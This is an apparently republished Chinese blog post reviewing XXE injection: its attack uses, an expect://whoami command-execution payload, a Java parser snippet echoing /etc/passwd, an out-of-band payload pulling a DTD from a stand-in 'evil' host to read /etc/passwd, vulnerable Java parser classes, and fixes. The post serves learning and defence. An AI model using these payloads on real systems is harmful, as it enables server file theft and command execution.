基础漏洞之xxe漏洞

admin 2023年12月15日00:03:43评论32 views字数 1694阅读5分38秒阅读模式

今天看了两个小时的代码,就发现一点xxe注入的痕迹(还没有验证),然后顺带复习一下。

我以为的xxe这个漏洞本身能命令执行。结果并不是0-0


漏洞原理

XXE在允许引入外部实体并且对外部实体解析成功的情况下,可以用于进行多种攻击,包括:

  • DoS攻击:通过外部实体导致服务拒绝。

  • 内网探测:探索内部网络结构。

  • 文件读取:获取服务器文件系统上的敏感文件。

对于命令执行,需要特定环境的配合。例如,在PHP环境下,需要开启expect扩展:

<!-- 需要 PHP 开启 expect 扩展 -->
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE creds [
    <!ENTITY goodies SYSTEM "expect://whoami">
]>

<creds>&goodies;</creds>

攻击结果

攻击结果可以分为有回显和无回显两种。

  • 有回显:代码从解析后的XML文档中读取数据(可能包含外部实体的内容)并将其输出。例如:

    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
    DocumentBuilder builder = factory.newDocumentBuilder();

    // 解析XML数据
    Document document = builder.parse(new InputSource(new StringReader(xmlData)));

    // 获取根元素
    String name = document.getDocumentElement().getTextContent();

    // 输出根元素内容(预期包含/etc/passwd文件的内容)
    System.out.println("根元素内容: " + name);
  • 无回显:读取解析后的元素并进行进一步处理,但不在页面上显示。

无回显的解决办法:利用数据外带

带外数据通道的建立使用嵌套实体声明,通过外部实体的URL发出访问,从而与攻击者的服务器建立联系。实体声明通常放在攻击者的服务器上:

<?xml version="1.0"?>
<!DOCTYPE a [
    <!ENTITY %b SYSTEM "http://evil.dtd">
]>

<a>%b;</a>

evil.dtd内容:

<!ENTITY b SYSTEM "file:///etc/passwd">

漏洞关键词

javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester

修复方式

禁止外部实体:如setExpandEntityReferences(false) ;很多解析xml库都有类似参数可以设置

过滤用户提交的XML数据:关键词:<!DOCTYPE 和 <!ENTITY 或者 SYSTEM和PUBLIC……


溜^0  又水一篇

原文始发于微信公众号(天才少女Alpha):基础漏洞之xxe漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月15日00:03:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   基础漏洞之xxe漏洞https://cn-sec.com/archives/2300745.html

发表评论

匿名网友 填写信息